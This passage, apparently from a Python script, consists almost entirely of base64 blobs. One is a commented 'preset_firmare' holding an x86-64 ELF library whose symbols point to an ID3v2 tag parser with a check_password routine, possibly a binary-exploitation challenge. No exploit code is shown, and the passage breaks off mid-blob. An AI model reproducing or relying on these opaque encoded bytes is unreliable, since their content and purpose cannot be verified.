AAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABwBQAAAAAAAHAFAAAAAAAAYAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAABQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAABwEAAAAAAAAHAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAgBAAAAAAAACAEAAAAAAAACsBAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAAKwRAAAAAAAArBEAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAACQEAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAADCEAAAAAAAAMIQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADAhAAAAAAAAMCEAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAAAAPgAAAAAAAAAuAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC/AAAADwAAAAMAAAAAAAAAED4AAAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAABg+AAAAAAAAGC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADYPwAAAAAAANgvAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAADgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAADhAAAAAAAAAODAAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAABgQAAAAAAAAEgwAAAAAAAAUAEAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAABIMAAAAAAAABwAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAaDAAAAAAAAAoBQAAAAAAABoAAAAsAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJA1AAAAAAAAxAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABUNwAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA')
# preset_firmare = b64decode('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XTcAAAAAAAAzAAAAAAAAAGwFAAASAAwAT1QAAAAAAAA2AAAAAAAAAGEAAAARABcAIJMAAAAAAABwAAAAAAAAAN4CAAASAAwAoUIAAAAAAABrAAAAAAAAAMYEAAASAAwAKkAAAAAAAAB1AAAAAAAAAOABAAASAAwA5UEAAAAAAABLAAAAAAAAADcBAAASAAwA+DUAAAAAAAAzAAAAAAAAAFIFAAASAAwA0lMAAAAAAAB9AAAAAAAAACYFAAASAAwAwlIAAAAAAABSAAAAAAAAAEEDAAASAAwAkTYAAAAAAAAzAAAAAAAAAJAEAAASAAwAWj8AAAAAAADQAAAAAAAAAKoEAAASAAwAPEUAAAAAAABGAAAAAAAAAIIAAAASAAwApSUAAAAAAABuAAAAAAAAAOMCAAASAAwAzzIAAAAAAACYAAAAAAAAAABfX2dtb25fc3RhcnRfXwBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZQBtZnJhbWVfc2l6ZQBtZW1fbWZyYW1lX2RhdGEAbWVtX21wYXNzd2QAanVuawBpbml0X3Byb2MAbWVtc2V0AGNoZWNrX3Bhc3N3b3JkAGFscGhhc29ydABzY2FuZGlyAHN0cnJjaHIAc3RyY21wAHN0cmNhdABmcmVlAGZvcGVuAGZyZWFkAGZjbG9zZQByZWFkX3RpdGxlAGxvYWRfdGFnAHRhZ19nZXRfdGl0bGUAcGFyc2VfdGV4dF9mcmFtZV9jb250ZW50AHN0cmxlbgBzdHJjcHkAcmVhZF9hcnRpc3QAdGFnX2dldF9hcnRpc3QAcmVhZF9hbGJ1bQB0YWdfZ2V0X2FsYnVtAHBhcnNlAHBhcnNlX2ZyYW1lAG5ld19mcmFtZQBtZW1jbXAAYnRvaQBzeW5jaW50X2RlY29kZQBtYWxsb2MAbWVtY3B5AGdldF9mcmFtZV90eXBlAG5ld190ZXh0X2NvbnRlbnQAcGFyc2VfY29tbWVudF9mcmFtZV9jb250ZW50AG5ld19jb21tZW50X2NvbnRlbnQAcGFyc2VfbWltZV90eXBlAHBhcnNlX2FwaWNfZnJhbWVfY29udGVudABuZXdfYXBpY19jb250ZW50AGdldF90YWdfaGVhZGVyAHBlcnJvcgBsb2FkX3RhZ193aXRoX2J1ZmZlcgBnZXRfdGFnX2hlYWRlcl93aXRoX2J1ZmZlcgBnZXRfdGFnX3ZlcnNpb24AbmV3X3RhZwBhZGRfdG9fbGlzdAByZW1vdmVfdGFnAHRtcGZpbGUAZnNlZWsAcHV0YwBnZXRjAHdyaXRlX2hlYWRlcgBmd3JpdGUAc3luY2ludF9lbmNvZGUAaXRvYgB3cml0ZV9mcmFtZQBnZXRfdGFnX3NpemUAbmV3X2ZyYW1lX2xpc3QAc2V0X3RhZwBuZXdfaGVhZGVyAGdldF9mcm9tX2xpc3QAdGFnX2dldF9hbGJ1bV9hcnRpc3QAdGFnX2dldF9nZW5yZQB0YWdfZ2V0X3RyYWNrAHRhZ19nZXRfeWVhcgB0YWdfZ2V0X2NvbW1lbnQAdGFnX2dldF9kaXNjX251bWJlcgB0YWdfZ2V0X2NvbXBvc2VyAHRhZ19nZXRfYWxidW1fY292ZXIAc2V0X3RleHRfZnJhbWUAc3ByaW50ZgBzZXRfY29tbWVudF9mcmFtZQBzZXRfYWxidW1fY292ZXJfZnJhbWUAdGFnX3NldF90aXRsZQB0YWdfc2V0X2FydGlzdAB0YWdfc2V0X2FsYnVtAHRhZ19zZXRfYWxidW1fYXJ0aXN0AHRhZ19zZXRfZ2VucmUAdGFnX3NldF90cmFjawB0YWdfc2V0X3llYXIAdGFnX3NldF9jb21tZW50AHRhZ19zZXRfZGlzY19udW1iZXIAdGFnX3NldF9jb21wb3NlcgB0YWdfc2V0X2FsYnVtX2NvdmVyAGZ0ZWxsAGdldF9taW1lX3R5cGVfZnJvbV9maWxlbmFtZQB0YWdfc2V0X2FsYnVtX2NvdmVyX2Zyb21fYnl0ZXMAc3RybmNtcABmcmVlX3RhZwBnZW5yZV9udW1fc3RyaW5nAHB1dHMAYXRvaQBjb252ZXJ0X2dlbnJlX251bWJlcgBoYXNfYm9tAGNoYXJfdG9fdXRmMTYAcHJpbnRsbl91dGYxNgBwdXRjaGFyAGdldF9wYXRoX3RvX2ZpbGUAc3RybmNweQBfaGFzX2lkM3YydGFnAGxpYmMuc28uNgBHTElCQ18yLjE0AEdMSUJDXzIuMi41AAAAAgACAAIAAgAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAAAwACAAIAAgACAAIAAgACAAIAAAACAAIAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAgB5BQAAEAAAAAAAAACUkZYGAAADAIMFAAAQAAAAdRppCQAAAgCOBQAAAAAAAOCNAAAAAAAACAAAAAAAAACgJQAAAAAAAOiNAAAAAAAACAAAAAAAAABgJQAAAAAAAHCSAAAAAAAACAAAAAAAAABwkgAAAAAAALCPAAAAAAAABgAAAAUAAAAAAAAAAAAAALiPAAAAAAAABgAAAFAAAAAAAAAAAAAAAMCPAAAAAAAABgAAAEgAAAAAAAAAAAAAAMiPAAAAAAAABgAAAGMAAAAAAAAAAAAAANCPAAAAAAAABgAAAA8AAAAAAAAAAAAAANiPAAAAAAAABgAAABUAAAAAAAAAAAAAAOCPAAAAAAAABgAAAFMAAAAAAAAAAAAAAOiPAAAAAAAABgAAAB8AAAAAAAAAAAAAAPCPAAAAAAAABgAAADUAAAAAAAAAAAAAAPiPAAAAAAAABgAAACAAAAAAAAAAAAAAABiQAAAAAAAABwAAAAEAAAAAAAAAAAAAACCQAAAAAAAABwAAAAIAAAAAAAAAAAAAACiQAAAAAAAABwAAAAMAAAAAAAAAAAAAADCQAAAAAAAABwAAAAQAAAAAAAAAAAAAADiQAAAAAAAABwAAAAYAAAAAAAAAAAAAAECQAAAAAAAABwAAAAcAAAAAAAAAAAAAAEiQAAAAAAAABwAAAC4AAAAAAAAAAAAAAFCQAAAAAAAABwAAAAgAAAAAAAAAAAAAAFiQAAAAAAAABwAAAGoAAAAAAAAAAAAAAGCQAAAAAAAABwAAAD8AAAAAAAAAAAAAAGiQAAAAAAAABwAAAFkAAAAAAAAAAAAAAHCQAAAAAAAABwAAAAkAAAAAAAAAAAAAAHiQAAAAAAAABwAAADsAAAAAAAAAAAAAAICQAAAAAAAABwAAADcAAAAAAAAAAAAAAIiQAAAAAAAABwAAAAoAAAAAAAAAAAAAAJCQAAAAAAAABwAAAGwAAAAAAAAAAAAAAJiQAAAAAAAABwAAAAsAAAAAAAAAAAAAAKCQAAAAAAAABwAAAE4AAAAAAAAAAAAAAKiQAAAAAAAABwAAAAwAAAAAAAAAAAAAALCQAAAAAAAABwAAAEQAAAAAAAAAAAAAALiQAAAAAAAABwAAAA0AAAAAAAAAAAAAAMCQAAAAAAAABwAAADAAAAAAAAAAAAAAAMiQAAAAAAAABwAAAA4AAAAAAAAAAAAAANCQAAAAAAAABwAAACYAAAAAAAAAAAAAANiQAAAAAAAABwAAACQAAAAAAAAAAAAAAOCQAAAAAAAABwAAABAAAAAAAAAAAAAAAOiQAAAAAAAABwAAAEwAAAAAAAAAAAAAAPCQAAAAAAAABwAAADQAAAAAAAAAAAAAAPiQAAAAAAAABwAAABEAAAAAAAAAAAAAAACRAAAAAAAABwAAABIAAAAAAAAAAAAAAAiRAAAAAAAABwAAABMAAAAAAAAAAAAAABCRAAAAAAAABwAAADwAAAAAAAAAAAAAABiRAAAAAAAABwAAAGQAAAAAAAAAAAAAACCRAAAAAAAABwAAABQAAAAAAAAAAAAAACiRAAAAAAAABwAAABYAAAAAAAAAAAAAADCRAAAAAAAABwAAACgAAAAAAAAAAAAAADiRAAAAAAAABwAAAGEAAAAAAAAAAAAAAECRAAAAAAAABwAAAEEAAAAAAAAAAAAAAEiRAAAAAAAABwAAAFoAAAAAAAAAAAAAAFCRAAAAAAAABwAAAG0AAAAAAAAAAAAAAFiRAAAAAAAABwAAAGcAAAAAAAAAAAAAAGCRAAAAAAAABwAAABcAAAAAAAAAAAAAAGiRAAAAAAAABwAAAD0AAAAAAAAAAAAAAHCRAAAAAAAABwAAAFcAAAAAAAAAAAAAAHiRAAAAAAAABwAAABgAAAAAAAAAAAAAAICRAAAAAAAABwAAAFUAAAAAAAAAAAAAAIiRAAAAAAAABwAAAFQAAAAAAAAAAAAAAJCRAAAAAAAABwAAACIAAAAAAAAAAAAAAJiRAAAAAAAABwAAAEsAAAAAAAAAAAAAAKCRAAAAAAAABwAAAGUAAAAAAAAAAAAAAKiRAAAAAAAABwAAAGAAAAAAAAAAAAAAALCRAAAAAAAABwAAABkAAAAAAAAAAAAAALiRAAAAAAAABwAAADoAAAAAAAAAAAAAAMCRAAAAAAAABwAAABoAAAAAAAAAAAAAAMiRAAAAAAAABwAAAGYAAAAAAAAAAAAAANCRAAAAAAAABwAAABsAAAAAAAAAAAAAANiRAAAAAAAABwAAAFwAAAAAAAAAAAAAAOCRAAAAAAAABwAAAEkAAAAAAAAAAAAAAOiRAAAAAAAABwAAABwAAAAAAAAAAAAAAPCRAAAAAAAABwAAAFsAAAAAAAAAAAAAAPiRAAAAAAAABwAAAEMAAAAAAAAAAAAAAACSAAAAAAAABwAAADEAAAAAAAAAAAAAAAiSAAAAAAAABwAAAB0AAAAAAAAAAAAAABCSAAAAAAAABwAAACUAAAAAAAAAAAAAABiSAAAAAAAABwAAAB4AAAAAAAAAAAAAACCSAAAAAAAABwAAAFgAAAAAAAAAAAAAACiSAAAAAAAABwAAADYAAAAAAAAAAAAAADCSAAAAAAAABwAAAEAAAAAAAAAAAAAAADiSAAAAAAAABwAAACEAAAAAAAAAAAAAAECSAAAAAAAABwAAAG4AAAAAAAAAAAAAAEiSAAAAAAAABwAAAFYAAAAAAAAAAAAAAFCSAAAAAAAABwAAACwAAAAAAAAAAAAAAFiSAAAAAAAABwAAACkAAAAAAAAAAAAAAGCSAAAAAAAABwAAADgAAAAAAAAAAAAAAGiSAAAAAAAABwAAACMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIg+wISIsFzW8AAEiFwHQC/9BIg8QIwwAAAAAAAAAAAP814m8AAP8l5G8AAA8fQAD/JeJvAABoAAAAAOng/////yXabwAAaAEAAADp0P////8l0m8AAGgCAAAA6cD/////JcpvAABoAwAAAOmw/////yXCbwAAaAQAAADpoP////8lum8AAGgFAAAA6ZD/////JbJvAABoBgAAAOmA/////yWqbwAAaAcAAADpcP////8lom8AAGgIAAAA6WD/////JZpvAABoCQAAAOlQ/////yWSbwAAaAoAAADpQP////8lim8AAGgLAAAA6TD/////JYJvAABoDAAAAOkg/////yV6bwAAaA0AAADpEP////8lcm8AAGgOAAAA6QD/////JWpvAABoDwAAAOnw/v///yVibwAAaBAAAADp4P7///8lWm8AAGgRAAAA6dD+////JVJvAABoEgAAAOnA/v///yVKbwAAaBMAAADpsP7///8lQm8AAGgUAAAA6aD+////JTpvAABoFQAAAOmQ/v///yUybwAAaBYAAADpgP7///8lKm8AAGgXAAAA6XD+////JSJvAABoGAAAAOlg/v///yUabwAAaBkAAADpUP7///8lEm8AAGgaAAAA6UD+////JQpvAABoGwAAAOkw/v///yUCbwAAaBwAAADpIP7///8l+m4AAGgdAAAA6RD+////JfJuAABoHgAAAOkA/v///yXqbgAAaB8AAADp8P3///8l4m4AAGggAAAA6eD9////JdpuAABoIQAAAOnQ/f///yXSbgAAaCIAAADpwP3///8lym4AAGgjAAAA6bD9////JcJuAABoJAAAAOmg/f///yW6bgAAaCUAAADpkP3///8lsm4AAGgmAAAA6YD9////JapuAABoJwAAAOlw/f///yWibgAAaCgAAADpYP3///8lmm4AAGgpAAAA6VD9////JZJuAABoKgAAAOlA/f///yWKbgAAaCsAAADpMP3///8lgm4AAGgsAAAA6SD9////JXpuAABoLQAAAOkQ/f///yVybgAAaC4AAADpAP3///8lam4AAGgvAAAA6fD8////JWJuAABoMAAAAOng/P///yVabgAAaDEAAADp0Pz///8lUm4AAGgyAAAA6cD8////JUpuAABoMwAAAOmw/P///yVCbgAAaDQAAADpoPz///8lOm4AAGg1AAAA6ZD8////JTJuAABoNgAAAOmA/P///yUqbgAAaDcAAADpcPz///8lIm4AAGg4AAAA6WD8////JRpuAABoOQAAAOlQ/P///yUSbgAAaDoAAADpQPz///8lCm4AAGg7AAAA6TD8////JQJuAABoPAAAAOkg/P///yX6bQAAaD0AAADpEPz///8l8m0AAGg+AAAA6QD8////JeptAABoPwAAAOnw+////yXibQAAaEAAAADp4Pv///8l2m0AAGhBAAAA6dD7////JdJtAABoQgAAAOnA+////yXKbQAAaEMAAADpsPv///8lwm0AAGhEAAAA6aD7////JbptAABoRQAAAOmQ+////yWybQAAaEYAAADpgPv///8lqm0AAGhHAAAA6XD7////JaJtAABoSAAAAOlg+////yWabQAAaEkAAADpUPv///8lkm0AAGhKAAAA6UD7////JRJrAABmkAAAAAAAAAAASI09gW0AAEiNBXptAABIOfh0FUiLBaZqAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09UW0AAEiNNUptAABIKf5Iwf4DSInwSMHoP0gBxkjR/nQUSIsFnWoAAEiFwHQI/+BmDx9EAADDDx+AAAAAAIA9GW0AAAB1L1VIgz2GagAAAEiJ5XQMSIs98mwAAOhd////6Gj////GBfFsAAABXcMPH4AAAAAAww8fgAAAAADpe////1VIieVIiwVAagAAxwAAAAAASIsFI2oAAEiLFQRqAABIiRBIiwUSagAASIsAunAAAAC+AAAAAEiJx+iN+///SIsFzmkAAEiLFc9pAABIiRBIiwW9aQAASIsAuiAAAAC+AAAAAEiJx+hg+///kF3DVUiJ5UiB7HABAABIib2Y/v//SI2FqP7//0iLFZ1pAABIidG6AAAAAEiJxkiNPbs5AADoRvv//4lF/IN9/AB5CrgAAAAA6YkBAADHRfgAAAAA6coAAABIi4Wo/v//i1X8SGPSSMHiA0gB0EiLAEiDwBO+LgAAAEiJx+i/+v//SIlF8EiDffAAdHhIi0XwSI01YTkAAEiJx+hR+///hcB1YcdF+AEAAABIjYWw/v//ujABAAC+AAAAAEiJx+id+v//SI2FsP7//0i5Y29uZmlnLwBIiQhIi4Wo/v//i1X8SGPSSMHiA0gB0EiLAEiNUBNIjYWw/v//SInWSInH6Lz8//9Ii4Wo/v//i1X8SGPSSMHiA0gB0EiLAEiJx+j9+P//i0X8jVD/iVX8hcAPhSX///9Ii4Wo/v//SInH6N34//+DffgAdQq4AAAAAOmDAAAASI2FsP7//0iNNZ84AABIicfo5/v//0iJRehIg33oAHUHuAAAAADrW0iLBSZoAABIiwBIi1XoSInRuhgAAAC+AQAAAEiJx+jy+P//SItF6EiJx+gm+f//SIsF92cAAEiLAEiLlZj+//9IidZIicfoKvr//4XAdQe4AQAAAOsFuAAAAADJw1VIieVIg+wwSIl92EiLRdhIicfooPn//0iJRfhIg334AHRrSItF+EiJx+hJ+v//SIlF8EiLRfBIicfo2fr//0iJRehIi0XoSItACEiJx+jV+P//SIP4cHc1SItF6EiLQAhIicfov/j//4nCSIsFlmcAAIkQSItF6EiLQAhIicZIiwVaZwAASInH6Pr3//+QycNVSInlSIPsMEiJfdhIi0XYSInH6A/5//9IiUX4SIN9+AB0a0iLRfhIicfoCPr//0iJRfBIi0XwSInH6Ej6//9IiUXoSItF6EiLQAhIicfoRPj//0iD+HB3NUiLRehIi0AISInH6C74//+JwkiLBQVnAACJEEiLRehIi0AISInGSIsFyWYAAEiJx+hp9///kMnDVUiJ5UiD7DBIiX3YSItF2EiJx+h++P//SIlF+EiDffgAdGtIi0X4SInH6Mf6//9IiUXwSItF8EiJx+i3+f//SIlF6EiLRehIi0AISInH6LP3//9Ig/hwdzVIi0XoSItACEiJx+id9///icJIiwV0ZgAAiRBIi0XoSItACEiJxkiLBThmAABIicfo2Pb//5DJw1VIieVIg+wgSIl9+EiJdfBIiVXouAAA